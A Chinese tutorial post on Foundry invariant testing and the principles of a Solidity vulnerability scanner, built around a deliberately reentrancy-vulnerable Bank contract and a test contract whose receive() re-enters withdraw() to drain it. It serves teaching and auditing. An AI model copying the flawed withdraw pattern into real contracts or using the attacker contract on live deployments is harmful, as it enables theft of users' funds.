Solidity不变测试及漏扫工具原理与实现

文章主要以某些漏洞,比如(重入漏洞等)来实现,更多补充例子在仓库:https://github.com/admi-n/TestVulnerabilities-by-Foundry

结尾有一些更多的在审计过程中的使用不变测试来发现漏洞的文章。

同时,常阅读审计报告以获得更多的知识:

1
2
3
4
5
6
https://reports.zellic.io/
https://code4rena.com/reports
https://hexens.io/audits
https://github.com/CDSecurity/audits
https://audits.sherlock.xyz/contests
https://cantina.xyz/portfolio

第一个 Invarient Testing

第一个漏洞展示重入漏洞,在Fuzzing中,相对容易的是溢出,操纵预言机,DOS等。中高等测试的是非正常情况下的错误,比如,一些非预期调用或者逻辑问题等引起的错误。

我们来由正常Fuzztest到Invarient Testing实现完整过程。

正常情况下一眼就可以看出问题所在,我们从正常的Fuzz流程中去逐步完成它。此篇文章为教学作用。逐步复杂的DefiFuzz会放到后续文章。

漏洞合约来自https://www.wtf.academy/docs/solidity-104/S01_ReentrancyAttack/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
contract Bank {
mapping (address => uint256) public balanceOf; // 余额mapping

// 存入ether,并更新余额
function deposit() external payable {
balanceOf[msg.sender] += msg.value;
}

// 提取msg.sender的全部ether
function withdraw() external {
uint256 balance = balanceOf[msg.sender]; // 获取余额
require(balance > 0, "Insufficient balance");
// 转账 ether !!! 可能激活恶意合约的fallback/receive函数,有重入风险!
(bool success, ) = msg.sender.call{value: balance}("");
require(success, "Failed to send Ether");
// 更新余额
balanceOf[msg.sender] = 0;
}

// 获取银行合约的余额
function getBalance() external view returns (uint256) {
return address(this).balance;
}
}

这个例子很容易理解,首先需要观察的是 用户balanceOf withdraw()状态 以及getBalance()

首先模拟用户:

1
2
3
address alice = address(0x1);
address bob = address(0x2);
address carol = address(0x3);

基于正常的使用逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function setUp() public {
bank = new Bank();

// 给用户一些初始资金
vm.deal(alice, 100 ether);
vm.deal(bob, 100 ether);
vm.deal(carol, 100 ether);

// 模拟用户存款
vm.prank(alice);
bank.deposit{value: 10 ether}();

vm.prank(bob);
bank.deposit{value: 20 ether}();
}

我们可以可以后续test方法中做一些动态调用合约的方法。但是在本文中不做演示,比如:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
function test_randomDepositsAndWithdrawals() public {
// 生成随机的金额
uint256 randomAmount = uint256(keccak256(abi.encodePacked(block.prevrandao))) % 1 ether;

// 生成一个随机地址
address randomAddress = address(uint160(uint256(keccak256(abi.encodePacked(block.timestamp)))));

// 确保模拟地址有足够的资金进行存款
vm.deal(randomAddress, randomAmount);

// 模拟存款
vm.prank(randomAddress);
bank.deposit{value: randomAmount}();

// 验证余额
uint256 balance = bank.balanceOf(randomAddress);
assertEq(balance, randomAmount, "Balance mismatch after deposit");

// 模拟提现
vm.prank(randomAddress);
bank.withdraw();

// 验证余额是否归零
balance = bank.balanceOf(randomAddress);
assertEq(balance, 0, "Balance mismatch after withdrawal");

// 其他验证逻辑
}

进行不变量测试:

测试总余额守恒:

根据基本逻辑,我们很容易写出balanceof关系:

1
2
3
4
function invariant_totalBalance() public {
uint256 totalUserBalances = bank.balanceOf(alice) + bank.balanceOf(bob) + bank.balanceOf(carol);
assertEq(address(bank).balance, totalUserBalances, "Invariant violated: Total balance mismatch");
}

可以看到结果均通过:

1
2
3
4
5
6
7
8
9
10
11
12
  [23782] BankInvariantTest::invariant_totalBalance()
├─ [2497] Bank::balanceOf(RIPEMD-160: [0x0000000000000000000000000000000000000003]) [staticcall]
│ └─ ← [Return] 0
├─ [2497] Bank::balanceOf(SHA-256: [0x0000000000000000000000000000000000000002]) [staticcall]
│ └─ ← [Return] 20000000000000000000 [2e19]
├─ [2497] Bank::balanceOf(ECRecover: [0x0000000000000000000000000000000000000001]) [staticcall]
│ └─ ← [Return] 10000000000000000000 [1e19]
├─ [0] VM::assertEq(30000000000000000000 [3e19], 30000000000000000000 [3e19], "Invariant violated: Total balance mismatch") [staticcall]
│ └─ ← [Return]
└─ ← [Stop]

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.78s (3.78s CPU time)

测试用户余额总是非负

1
2
3
4
5
function invariant_userBalancesNonNegative() public {
assertGe(bank.balanceOf(alice), 0, "Alice's balance is negative");
assertGe(bank.balanceOf(bob), 0, "Bob's balance is negative");
assertGe(bank.balanceOf(carol), 0, "Carol's balance is negative");
}

很简单就不解释了均通过。

测试提现后余额会减少

1
2
3
4
5
6
7
8
9
10
11
function invariant_withdrawConsistency() public {
uint256 aliceBalanceBefore = bank.balanceOf(alice);

if (aliceBalanceBefore > 0) {
vm.prank(alice);
bank.withdraw();
uint256 aliceBalanceAfter = bank.balanceOf(alice);

assertEq(aliceBalanceAfter, 0, "Invariant violated: Balance should be zero after withdrawal");
}
}

测试withdraw 调用后,合约的余额与用户余额总和是否一致

1
2
3
4
    function invariant_balanceConsistency() public {
uint256 totalUserBalances = bank.balanceOf(alice) + bank.balanceOf(bob) + bank.balanceOf(carol);
assertEq(address(bank).balance, totalUserBalances, "Invariant violated: Total balance mismatch after external calls");
}

基于正常请求未发现问题,但是这不算是Invarient Testing,因为我们不清楚被测试的函数会在哪种情况下被调用。

于是我们模拟一个外部合约去调用。

这种通常被称为Handler,但是我们使用target来代替对于新人更容易理解和在集成环境中使用。

我们直接在测试合约中测试:

1
2
3
4
5
contract ExternalCallSimulator {
function withdrawFromBank(Bank bank) public {
bank.withdraw();
}
}

重新检查总余额守恒:

1
2
3
4
5
6
7
8
9
10
11
function test_externalInteraction() public {
ExternalCallSimulator simulator = new ExternalCallSimulator();

vm.startPrank(alice);
simulator.withdrawFromBank(bank);
vm.stopPrank();

// 检查余额是否一致
uint256 totalUserBalances = bank.balanceOf(alice) + bank.balanceOf(bob) + bank.balanceOf(carol);
assertEq(address(bank).balance, totalUserBalances, "External call caused imbalance");
}

我们发现这一问题:

image-20241203215253801

测试未明确使用恶意合约但仍暴露了问题,这可能暗示 withdraw 的逻辑存在漏洞:

我们这里也可以使用

1
2
assertEq(bank.balanceOf(xxAddress), 0); 
assertEq(bank.getBalance(), 0);

来实现,但是我们偏向于导入可能的行为来测试。更符合漏洞扫描工具原理。

修改测试合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
contract ExternalCallSimulator2 {
Bank public target;

constructor(Bank _target) {
target = _target;
}

receive() external payable {
// 尝试在回调期间再次调用 withdraw
if (address(target).balance >= 1 ether) {
target.withdraw();
}
}

function attack() public payable {
target.deposit{value: msg.value}();
target.withdraw();
}
}

依然测试合约的总余额是否正确

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function test_externalInteraction() public {
ExternalCallSimulator2 attacker = new ExternalCallSimulator2(bank);

vm.deal(address(attacker), 1 ether);
vm.prank(address(attacker));
try attacker.attack{value: 1 ether}() {
fail();
} catch {
// 攻击成功,测试通过
}

// 检查合约的总余额是否正确
uint256 totalBalances = bank.balanceOf(alice) + bank.balanceOf(bob) + bank.balanceOf(carol);
assertEq(address(bank).balance, totalBalances, "Contract state corrupted by reentrancy");
}

image-20241203220432887

在图中可以看到问题所在。问题就在于Handler合约中的调用导致合约没有正常状态运行。

根据以上实例,你是否发现了什么。

比如在测试某一合约的时候,我们知道他的方法状态等,但是我们不想去根据这个合约单独写一个Fuzz合约。

所以,首先我们需要构建合约的控制流程图,分析函数之间的调用关系。例如以上测试的完整流程图。

image-20241203230248254

合约中的外部调用((bool success, ) = msg.sender.call{value: balance}("");)会导致控制流跳转到另一个合约的 fallbackreceive 函数。

完整过程为:

  1. 跟踪合约中的所有函数调用,特别是涉及到外部合约调用的地方(例如 msg.sender.call
  2. 模拟执行顺序和状态变化,包括状态变量(如 balanceOf[msg.sender])的修改和读取
  3. 当外部调用(call)被触发时,分析该调用是否可能激活恶意合约的 fallbackreceive 函数,并通过回调再一次进入原合约的 withdraw 函数。

漏洞扫描框架实现